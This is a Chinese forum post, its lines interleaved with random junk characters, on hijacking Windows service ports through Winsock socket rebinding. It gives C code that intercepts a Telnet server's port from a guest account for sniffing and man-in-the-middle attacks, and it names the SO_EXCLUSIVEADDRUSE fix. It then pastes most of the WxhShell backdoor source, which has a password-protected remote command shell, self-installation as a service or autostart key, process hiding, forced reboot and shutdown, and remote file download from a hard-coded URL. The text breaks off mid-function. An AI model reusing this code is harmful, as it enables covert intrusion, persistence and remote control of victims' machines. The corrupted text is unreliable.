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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 3mn-dKe((  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B'~i Z65  
.c K  
  saddr.sin_family = AF_INET; |vE#unA  
]V7hl#VO  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 6B P%&RL  
~bQ:gArk  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 8k}CR)3@C  
\A"a>e  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 9jFDBy+  
L.&Vi"M <@  
  这意味着什么?意味着可以进行如下的攻击: Gi_X+os  
~x#-#nuh"  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ep1Ajz.l  
g(/O)G.  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Z19y5?uR  
8y )i,"  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -BH'.9uqGQ  
j[ YTg]  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  5 `mVe0uI  
"@bk$o=  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 b<MMli  
os+wTUR^  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ,tc]E45  
"[Lp-4A\  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  C3Z(k}  
{-Oc8XI/  
  #include u"3cSuqy  
  #include lw lW.C  
  #include :7]R2JP  
  #include    BU .G~0  
  DWORD WINAPI ClientThread(LPVOID lpParam);   qoq<dCt3  
  int main() 438> )=  
  { {_D'\i(Y_  
  WORD wVersionRequested; BbhdGFG1  
  DWORD ret; 5{=MUU=  
  WSADATA wsaData; gU$3Y#R  
  BOOL val; Z.19v>-c  
  SOCKADDR_IN saddr; SaScP  
  SOCKADDR_IN scaddr; rV{e[fGd  
  int err; dz DssAHy  
  SOCKET s; .j,&/y&  
  SOCKET sc; v<4X;4p^  
  int caddsize; jtJU 5Q  
  HANDLE mt; O~1p]j  
  DWORD tid;   UzRF'<TWf  
  wVersionRequested = MAKEWORD( 2, 2 ); S!c@6&XJm?  
  err = WSAStartup( wVersionRequested, &wsaData ); @ uWD>(D  
  if ( err != 0 ) { <0MUn#7'  
  printf("error!WSAStartup failed!\n"); Kn]WXc|("  
  return -1; hj[g2S%X  
  } lKSI5d  
  saddr.sin_family = AF_INET; \p|!=H@  
   UY^f|f&  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 qTex\qP  
mQ)l`w Gh  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); MYm6C;o$  
  saddr.sin_port = htons(23); jP]'gQ!-w  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8BdeqgU/_  
  { j|w+=A1  
  printf("error!socket failed!\n"); 27gm_ *  
  return -1; B)iJH  
  } &}?e:PEy  
  val = TRUE; nhxl#  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 YLr2j 7  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ^u<+tV   
  { XP1_{\  
  printf("error!setsockopt failed!\n"); rJxT)bR  
  return -1; 9tgkAU`  
  } "d\8OOU  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; (/BkwbJyE  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Ke!O^zP92  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 D~,R @7  
<>GyG-q  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) p5hP}Z4r  
  { I!bZ-16X  
  ret=GetLastError(); y2>] gX5  
  printf("error!bind failed!\n"); 7u(i4O& k  
  return -1; &ICO{#v5  
  } F!<x;h(  
  listen(s,2); 8hY)r~!b'  
  while(1) Fx\Re]~n  
  { x]M1UBnMN  
  caddsize = sizeof(scaddr); 1gr jK.x  
  //接受连接请求 gr7_oJ:R  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &0TheY;srf  
  if(sc!=INVALID_SOCKET) ; U4X U  
  { Hs`  '](  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Sy55w={  
  if(mt==NULL) :-8u*5QK]`  
  { 7]Yd-vA  
  printf("Thread Creat Failed!\n"); iE5^Xik ,  
  break; R&p53n  
  } XDQ1gg`  
  } :4TcCWG  
  CloseHandle(mt); t~M_NEPxV  
  } &3. 8i%  
  closesocket(s); :'=C/AL  
  WSACleanup(); ,%^0 4sl  
  return 0; )}v2Z3:  
  }   jTIn@Q  
  DWORD WINAPI ClientThread(LPVOID lpParam) ^~od*:  
  { cR} =3|t  
  SOCKET ss = (SOCKET)lpParam; ~+hG}7(:  
  SOCKET sc; l+,rc*-j0  
  unsigned char buf[4096]; X35hLp8 M  
  SOCKADDR_IN saddr; Z5K,y19/~  
  long num; cPSpPx  
  DWORD val; +aap/sYp  
  DWORD ret; a{=~#u8  
  //如果是隐藏端口应用的话,可以在此处加一些判断 6]*qx5m`<l  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ^S @b*  
  saddr.sin_family = AF_INET; fQh!1R  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ,#{aAx|]  
  saddr.sin_port = htons(23); <o O_wS@:  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) vbU{Et\ ^  
  { !k^\`jMzw  
  printf("error!socket failed!\n"); +{Ttv7l_2  
  return -1; ,q1RJiR  
  } Qp}<8/BM\  
  val = 100; B'yrXa|P  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ty ?y&~axk  
  { AmHIG_'  
  ret = GetLastError(); jw)t"S/E  
  return -1; Wj0([n  
  } 4k 8 @u  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ym 6[~=~EK  
  { |BR&p)7)  
  ret = GetLastError(); xe' *%3-v)  
  return -1; M'sJ5;^5  
  } [o6d]i!  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) uU0'y4=  
  { GzX@Av$  
  printf("error!socket connect failed!\n"); S6uBk"V!  
  closesocket(sc); BH^q.p_#>X  
  closesocket(ss); V Puzu|  
  return -1; \} 5\^&}_  
  } &%<G2x$  
  while(1) ZZUCwczI  
  { ? p]w_l  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 (Y86q\DQ?|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 fsu'W]f  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ]v#Q\Q8>  
  num = recv(ss,buf,4096,0); mb/Y  
  if(num>0) tfO _b5g  
  send(sc,buf,num,0); .+.Pc_fv  
  else if(num==0) Im2g2 ]  
  break; ]4PG[9J@  
  num = recv(sc,buf,4096,0); 0T*jv! q>  
  if(num>0) w$_ooQ(_;Q  
  send(ss,buf,num,0); BTB,a$P/  
  else if(num==0) 6k-]2,\#  
  break; n:{yri+  
  } \VW.>@s~  
  closesocket(ss); \%#jT GFs~  
  closesocket(sc); ;,D7VxWhY  
  return 0 ; \I> ,j,c  
  } YB[P`Muj  
LS;kq',  
Xv9C D  
========================================================== };|'8'5  
xZhh%~  
下边附上一个代码,,WXhSHELL 0z .&  
a,X3=+_K  
========================================================== `y4+OXZ^  
C M(g4fh  
#include "stdafx.h" iIg_S13  
Z"A:^jZ<s  
#include <stdio.h> {"s8X(#_sC  
#include <string.h> 1cPi>?R:  
#include <windows.h> i^yQ; 2 -  
#include <winsock2.h> w] VvH"?  
#include <winsvc.h> T ^uBMDYe  
#include <urlmon.h> *<KY^;  
|oX l+&u  
#pragma comment (lib, "Ws2_32.lib") a83o (9  
#pragma comment (lib, "urlmon.lib") Bi]%bl>%  
/%~`B[4F  
#define MAX_USER   100 // 最大客户端连接数 FYzl-7!Y  
#define BUF_SOCK   200 // sock buffer Q-AN~k8+)[  
#define KEY_BUFF   255 // 输入 buffer 7kO 1d{u6b  
<I7UyCAF  
#define REBOOT     0   // 重启 R6ywc "xE  
#define SHUTDOWN   1   // 关机 M C>{I3  
!9-dS=:Y  
#define DEF_PORT   5000 // 监听端口 L_/.b%0)  
:wMZ&xERDZ  
#define REG_LEN     16   // 注册表键长度 Upf1*$p  
#define SVC_LEN     80   // NT服务名长度 3N?uY2  
^7=yjD`  
// 从dll定义API Yk }zN_v  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Rzz*[H  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Da.vyp  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); O\x Uv  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3?C$Tl2G8  
cdk;HK_Ve.  
// wxhshell配置信息 qr :[y  
struct WSCFG { lgU7jn  
  int ws_port;         // 监听端口 H}A67J9x  
  char ws_passstr[REG_LEN]; // 口令 Oa{M9d,l  
  int ws_autoins;       // 安装标记, 1=yes 0=no 'EXp[*  
  char ws_regname[REG_LEN]; // 注册表键名 I\":L  
  char ws_svcname[REG_LEN]; // 服务名 kIQMIL0+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Xf:-K(%e  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 bBGLf)fsTG  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4!D!.t~r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no a &j H9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" g8^$,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qz?9:"~$C  
{2-w<t  
}; $H?v  
=>&d[G[m!  
// default Wxhshell configuration L,n'G%  
struct WSCFG wscfg={DEF_PORT, %h^; "|Z  
    "xuhuanlingzhe", ugOcK Gf  
    1, Ta~Ei=d^  
    "Wxhshell", (g5T2(_6L  
    "Wxhshell", 6ZX{K1_q  
            "WxhShell Service", PM ,I?lJ,  
    "Wrsky Windows CmdShell Service", V;9.7v  
    "Please Input Your Password: ", 23 3jT@Z  
  1, }6`#u :OZ  
  "http://www.wrsky.com/wxhshell.exe", y/E%W/3  
  "Wxhshell.exe" ~u.CY  
    }; +hi!=^b]  
L\!Pa+Iod  
// 消息定义模块 OF!(BJ L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <.#i3!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; fi`*r\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; C4ge_u#  
char *msg_ws_ext="\n\rExit."; ``U>9S"p)  
char *msg_ws_end="\n\rQuit."; g\d|/HV K  
char *msg_ws_boot="\n\rReboot..."; ge*f<#|0U-  
char *msg_ws_poff="\n\rShutdown..."; u`7\o~$  
char *msg_ws_down="\n\rSave to "; TtlZum\  
7h0LR7  
char *msg_ws_err="\n\rErr!"; uPt({H  
char *msg_ws_ok="\n\rOK!"; 8KN0z<  
^C_ ;uz  
char ExeFile[MAX_PATH]; YDO#Q= q%  
int nUser = 0; WUZusW5s  
HANDLE handles[MAX_USER]; cJGU~\  
int OsIsNt; 4; y*y tY*  
A(ql}cr  
SERVICE_STATUS       serviceStatus; @}qMI   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; rM Un ~  
o^H.uBO{  
// 函数声明 OUQySac  
int Install(void); 0;KjP?5  
int Uninstall(void); ~Cm_=[  
int DownloadFile(char *sURL, SOCKET wsh); /U+0T>(HS  
int Boot(int flag);  K<6)SL4  
void HideProc(void); 0.qnbDw_  
int GetOsVer(void); ZDMS:w.'T  
int Wxhshell(SOCKET wsl); AfB,`l`k  
void TalkWithClient(void *cs); s&TPG0W  
int CmdShell(SOCKET sock); RX\%R  
int StartFromService(void); Igrr"NuDZ  
int StartWxhshell(LPSTR lpCmdLine); b dP @^Q  
a/ ^ojn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); PF~w$ eeQ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Bz!SZpW(M  
Gg$4O8  
// 数据结构和表定义 90X<Qs  
SERVICE_TABLE_ENTRY DispatchTable[] = SN' j?-  
{ D.su^m_1  
{wscfg.ws_svcname, NTServiceMain}, M*<Ee]u  
{NULL, NULL} AhWcJD]  
}; 2Jm#3zFYz3  
@vs+)aRa  
// 自我安装 tFn_{fCc>  
int Install(void) plN:QS$  
{ lp+Uox  
  char svExeFile[MAX_PATH]; }fU"s"  
  HKEY key; wF[%+n (*  
  strcpy(svExeFile,ExeFile); +XMKRt  
b"k1N9  
// 如果是win9x系统,修改注册表设为自启动 #? u#=]  
if(!OsIsNt) { P-U9FKrt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Xw)W6H|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %=e^MN1  
  RegCloseKey(key);  h&}z@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7wKT:~~oS3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VN]70LFz*i  
  RegCloseKey(key); L.X"wIs^  
  return 0; 8Mg wXH  
    } Qa>t$`o`  
  } 21_sg f?  
} [&eG>zF"  
else { -Ph"#R&  
bS7%%8C  
// 如果是NT以上系统,安装为系统服务 |q!O~<H@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); QN)EPS:y  
if (schSCManager!=0) Q!.JV. (  
{ xU9T8Lw  
  SC_HANDLE schService = CreateService 5d|hP4fEc  
  ( <aSjK#  
  schSCManager, 1K\z amBg  
  wscfg.ws_svcname, #|-i*2@oR  
  wscfg.ws_svcdisp, A s"% u  
  SERVICE_ALL_ACCESS, M 5c$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4f SG c8  
  SERVICE_AUTO_START, mH6\8I  
  SERVICE_ERROR_NORMAL, ZW>iq M^9  
  svExeFile, ~'lYQ[7  
  NULL, 8GlRO4yd  
  NULL, pd^"MG  
  NULL, ;2N: =Rv  
  NULL, .:r l<.  
  NULL [$]qJ~kz  
  ); yVfF *nG  
  if (schService!=0) vb.}SG>  
  { }-/oL+j  
  CloseServiceHandle(schService); erlg\-H   
  CloseServiceHandle(schSCManager); YUjKOPN  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); yd|ao\'=  
  strcat(svExeFile,wscfg.ws_svcname); Y+)qb);  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { NWue;u^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 03Uj0.Z|7  
  RegCloseKey(key); 4p<c|(f#  
  return 0; s'B$/qCkR  
    } :6TLT-B  
  } [[s^rC<d  
  CloseServiceHandle(schSCManager); ,eSII2,r4  
} %1\~OnT  
} #kQ1,P6,(  
tf IUH'Ez>  
return 1; SiLWy=qbR  
} YgV"*~  
t9~Y ?  
// 自我卸载 s7?d_+O  
int Uninstall(void) VW\xuP  
{ T3bYj|rh=  
  HKEY key; I+eKuWB  
pN=>q <]L  
if(!OsIsNt) { bt=z6*C>A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yRy^'E~  
  RegDeleteValue(key,wscfg.ws_regname);  |\FJ  
  RegCloseKey(key); \ORE;pG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^^z_[Ih  
  RegDeleteValue(key,wscfg.ws_regname); ?G>E[!8ev  
  RegCloseKey(key); ;q?WU>c{?  
  return 0; F]GX;<`  
  } c8h71Cr  
} BN1,R] *;  
} kF-7OX0)  
else { o%E-K=a  
"M}3T?0 O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); tS3!cO\  
if (schSCManager!=0) OE/r0C<&  
{ !ZS5}/ZU  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); L'HO"EZFj  
  if (schService!=0) \=c@  
  { )0o|u>  
  if(DeleteService(schService)!=0) { XyYP!<].C  
  CloseServiceHandle(schService); ?>Bt|[p:s)  
  CloseServiceHandle(schSCManager); ]|QA`5=$  
  return 0; '$h0l-mQ  
  } }6To(*  
  CloseServiceHandle(schService); ;>CM1  
  } m`&6[[)6~  
  CloseServiceHandle(schSCManager); RveEA/&&  
} mXT{c=N)w  
} L"L a|  
a(_3271  
return 1; ' -td/w  
} 09 v m5|  
Dc9Fb^]QOG  
// 从指定url下载文件 1}q(Pn2  
int DownloadFile(char *sURL, SOCKET wsh) iw^"?:'%  
{ E?h'OR@_ L  
  HRESULT hr; 5Z>+NKQ  
char seps[]= "/"; :DJLkMP  
char *token; 2m,t<Y;  
char *file; {!*dk V  
char myURL[MAX_PATH]; Ask~  
char myFILE[MAX_PATH]; >P}6/L  
|@rYh-5  
strcpy(myURL,sURL); PmA_cP7~  
  token=strtok(myURL,seps); g$U7bCHG  
  while(token!=NULL) ua!RwSo  
  { 'XI-x[w  
    file=token; 7I0K= 'D7  
  token=strtok(NULL,seps); RY}:&vWDk  
  } m!WDXt  
8b X?HeYrr  
GetCurrentDirectory(MAX_PATH,myFILE); P EMuIYm$  
strcat(myFILE, "\\"); Nazr4QU  
strcat(myFILE, file); ]t-B-(D  
  send(wsh,myFILE,strlen(myFILE),0); DI\^&F)3T2  
send(wsh,"...",3,0); & &:ZY4`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `08}y*E  
  if(hr==S_OK) _]M :  
return 0; }g"K\x:Z  
else G(hzW%P  
return 1; `aL4YH-v  
`L @`l  
} |?LUt@r;  
*#Iqz9X.Y3  
// 系统电源模块 ug?#Oa  
int Boot(int flag) ^,#MfF6  
{ "|GX%> /  
  HANDLE hToken; -:Jn|=  
  TOKEN_PRIVILEGES tkp; tC&jzN"  
2+C 8w%F8  
  if(OsIsNt) { L[Y|K%;~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); J';XAB }  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); cJ#%OU3 p  
    tkp.PrivilegeCount = 1; !}J19]\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; R 5Cy%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8O.5ML{  
if(flag==REBOOT) { }/VSIS@Z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m8 Ti{w(  
  return 0; jO5We mqf  
} {%8=qJ3@  
else { tVHQ$jJY%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 98!H$6k  
  return 0; `$>cQwB,D  
} r'J3\7N!u  
  } +\66; 7]s  
  else { sx][X itR+  
if(flag==REBOOT) { ZIJTGa}B q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) HE*P0Y f=  
  return 0; x=3+@'  
} ixJwv\6Y  
else { C-;}a%c"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4(p,@e31  
  return 0; sX#7;,Ft7  
} % ^&D,  
} C72btS  
P"k,[ZQ  
return 1; B:tGD@  
} (Ek=0;Cr  
@v=A)L  
// win9x进程隐藏模块 )}SiM{g  
void HideProc(void) 3L%g2`  
{ \\,z[C  
~f[91m!+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }9>X M  
  if ( hKernel != NULL ) &>z}u&oF  
  { Bk8 '*O/)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); kA(q-Re$B*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); i ,g<y  
    FreeLibrary(hKernel); 6| {uZNz  
  } et :v4^*f  
6T=zHFf~  
return; {y7,n  
} !GBGC|avE  
b6gD*w <  
// 获取操作系统版本 Mta;6<  
int GetOsVer(void) ]@7]mu:oL  
{ jY5BVTWnV  
  OSVERSIONINFO winfo; \ /6m  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); l%9nA.M'  
  GetVersionEx(&winfo); b}jLI_R{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) V39)[FH}  
  return 1; ^1NtvQe@Y\  
  else o!M*cyq  
  return 0; da53XEF&  
} ^p!bteA>  
&<%U7?{~  
// 客户端句柄模块 w\3'wD!  
int Wxhshell(SOCKET wsl) Mq$N ra  
{ Id'@!U:NA  
  SOCKET wsh; 1w|V'e?kb  
  struct sockaddr_in client; &)|3OJ'o  
  DWORD myID; o*1t)HL<  
&-6 D'@  
  while(nUser<MAX_USER) N0G-/  
{ R7!^ M  
  int nSize=sizeof(client); ;t}ux  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "rI By  
  if(wsh==INVALID_SOCKET) return 1; o'nrLI(t  
=AJ I3 'x  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2 -M]!x)  
if(handles[nUser]==0) JPTVZ  
  closesocket(wsh); r&-I r3[  
else hDs.4MZC`  
  nUser++; },5_h0  
  } ^, KN@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Q.[^5 8  
O@bDMg  
  return 0; CmPix]YMQ  
} J#y?^Qm$)<  
ps6c>AN`A&  
// 关闭 socket u3H2\<  
void CloseIt(SOCKET wsh) `?L-{VtM3*  
{ DeTZl+qm1E  
closesocket(wsh); e/h7x\Z  
nUser--; ^6 sT$set  
ExitThread(0); U-EX)S^T[{  
} 1f1J'du  
WtTwY8HC  
// 客户端请求句柄 20f):A6  
void TalkWithClient(void *cs) 'E,Bl]8C5  
{ `N"fsEma  
k&P_ c  
  SOCKET wsh=(SOCKET)cs; GX lFS#`  
  char pwd[SVC_LEN]; ~f2zMTI|  
  char cmd[KEY_BUFF]; gaJIc^O  
char chr[1]; M('cG  
int i,j; <P3r}|K  
~!!>`x  
  while (nUser < MAX_USER) { HSOdqjR*  
:=tPC A=  
if(wscfg.ws_passstr) { 0|:Ic,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _r|$H_#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (UV+/[,  
  //ZeroMemory(pwd,KEY_BUFF); uOrvmb  
      i=0; 5!*5mtI  
  while(i<SVC_LEN) { z,oqYU\:  
?%h JZm;  
  // 设置超时 g~@0p7]Y  
  fd_set FdRead; :*!u\lV\  
  struct timeval TimeOut; G K @]61b  
  FD_ZERO(&FdRead); f.=4p^  
  FD_SET(wsh,&FdRead); ZCMB]bL-e  
  TimeOut.tv_sec=8; w%k)J{\  
  TimeOut.tv_usec=0; %d9UWQ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $0Y&r]'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); v=|BqG`  
OI.2CF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); soZw""|v  
  pwd=chr[0]; Xze   
  if(chr[0]==0xd || chr[0]==0xa) { Rh%/xG#k  
  pwd=0; bkl'0 p  
  break; _|Ml6;1aZ  
  } L&'0d$Tg8  
  i++; 8P!dk5 ,,O  
    } Sh]x`3 ).  
fwRlqfi  
  // 如果是非法用户,关闭 socket L/GM~*Xp(O  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); < P5;8  
} q9oF8&O,  
WL}6YSC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =D4EPfQn1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LZG^\c$  
H9w*U  
while(1) { g}3c r .  
*ma/_rjK  
  ZeroMemory(cmd,KEY_BUFF); Em@h5V  
K. R2)o`  
      // 自动支持客户端 telnet标准   }FMl4 _}u  
  j=0; IO xj$?%l  
  while(j<KEY_BUFF) { ,/W< E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lrh6lt)  
  cmd[j]=chr[0]; fu=}E5ScK  
  if(chr[0]==0xa || chr[0]==0xd) { );z}T0C  
  cmd[j]=0; %MP s}B  
  break; #Y}Hh7.<  
  } .tN)H1.:B  
  j++; Oyq<y~}  
    } ;.W0Aa  
[`fq4Ky  
  // 下载文件 gqD`1/  
  if(strstr(cmd,"http://")) { P+3G*M=}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }C7tlA8,7  
  if(DownloadFile(cmd,wsh)) s80_e  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /@RnCjc'  
  else uU.9*B=H9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #K! Df%,<  
  } pLzsL>6h  
  else { *!9/`zW  
:/vB,JC  
    switch(cmd[0]) { OqBw&zm  
  hDlk! #*  
  // 帮助 R C (v#G  
  case '?': { AD?DIE(v  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q 8=u.T  
    break; 6ddkUPTF  
  } /2dK*v0  
  // 安装 p!aeL}g`  
  case 'i': { E}@8sY L  
    if(Install()) f/;\/Q[Z7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 45MK|4\Y_  
    else d<7J)zUm3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +H&_Z38n  
    break; iW"L!t#\|  
    } 1wc -v@E  
  // 卸载 +zs6$OI]V  
  case 'r': { 6eDIS|/  
    if(Uninstall()) GPR`=]n& &  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xk|$Oa  
    else 2hJ{+E.m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M+hc,;6  
    break; jq0tMTb%L  
    } 0"2 [I  
  // 显示 wxhshell 所在路径 5h:SH]tn8]  
  case 'p': { ^ 2kWD8c*  
    char svExeFile[MAX_PATH]; %&_(IY$d  
    strcpy(svExeFile,"\n\r"); ($S{td;  
      strcat(svExeFile,ExeFile); t^CT^z  
        send(wsh,svExeFile,strlen(svExeFile),0); o~-X7)]  
    break; BXfaqYb;Q  
    } )E7A,ZW,  
  // 重启 uCu,'F,6Y  
  case 'b': { @i{JqHU"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ImV54h'  
    if(Boot(REBOOT)) Gr6ma*)y~t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [BQw$8 +n_  
    else { "{x~j \<  
    closesocket(wsh); K%pmE?%,8  
    ExitThread(0); #dpt=  
    } <,E*,&0W  
    break; 99ha /t  
    } 'hek CZZ_I  
  // 关机 ;n;^f&;sJ  
  case 'd': { s3+O=5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); gw*d"~A  
